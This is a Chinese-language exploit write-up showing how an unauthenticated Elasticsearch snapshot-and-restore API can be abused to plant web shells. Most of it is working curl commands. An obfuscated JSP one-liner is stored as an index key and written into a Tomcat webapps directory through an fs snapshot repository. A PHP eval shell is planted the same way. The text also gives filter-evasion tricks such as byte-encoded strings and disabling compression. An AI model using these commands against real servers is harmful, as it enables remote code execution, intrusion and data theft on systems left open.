elasticsearch Snapshot And Restore缺陷利用
基础信息:
可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes
未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。
参考es官方的索引快找和恢复文档(Snapshot And Restore):
http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot
大概意思是说:
快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。
首先创建一份恶意的索引文档(key为jsp一句话后门):
curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"} '
查看创建的文档: curl http://localhost:9200/yz.jsp/_search?pretty
这里的我创把文档的index和type都设置成了yz.jsp,其中文档的key包含了一个jsp文件。
然后创建一个恶意的存储库(Repositories):
curl -XPUT 'http://localhost:9200/_snapshot/yz.jsp' -d '{ "type": "fs", "settings": { "location": "/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/", "compress": false } }'
这个Repositories的路径比较有意思,因为他可以写到可以访问到的任意地方,并且如果这个路径不存在的话会自动创建。那也就是说你可以通过文件访问协议创建任意的文件夹。这里我把这个路径指向到了tomcat的web部署目录,因为只要在这个文件夹创建目录Tomcat就会自动创建一个新的应用(文件名为wwwroot的话创建出来的应用名称就是wwwroot了)。
既然知道可以创建任意目录,或许就可以想办法写个shell。
存储库验证并创建:
curl -XPUT "http://localhost:9200/_snapshot/yz.jsp/yz.jsp" -d '{ "indices": "yz.jsp", "ignore_unavailable": "true", "include_global_state": false }'
这个时候就可以看到tomcat目录的备份文件已经生成了多个jsp文件:
一句话shell在/Users/yz/Documents/install/apache-tomcat-7.0.57/webapps/wwwroot/indices/yz.jsp/snapshot-yz.jsp:
写大马:
这里有2个点:
1、json不好绕过避开json应该是不可能了,所以避开双引号比较麻烦所以这里用了byte转String避免出现”"。
2、如果不把compress设置成false会被es安全过滤(比如:toString、getXXX都会被过滤),绕了半天才发现设置成不压缩就可以了......
在PHP环境下利用:
curl -XDELETE http://localhost:9200/test.php
curl -XDELETE http://localhost:9200/_snapshot/test.php
curl -XPOST http://localhost:9200/test.php/test.php/1 -d' {"<?php eval($_POST[chr(97)]);?>":"test"}'
curl http://localhost:9200/test.php/_search?pretty
curl -XPUT 'http://localhost:9200/_snapshot/test.php' -d '{ "type": "fs", "settings": { "location": "/data/httpd/htdocs/default", "compress": false } }'
curl -XPUT "http://localhost:9200/_snapshot/test.php/test.php" -d '{ "indices": "test.php", "ignore_unavailable": "true", "include_global_state": false }'
测试案例:
一句话连接,密码a
elasticsearch1.6已经修复:https://www.elastic.co/blog/elasticsearch-1-6-0-released#fs-config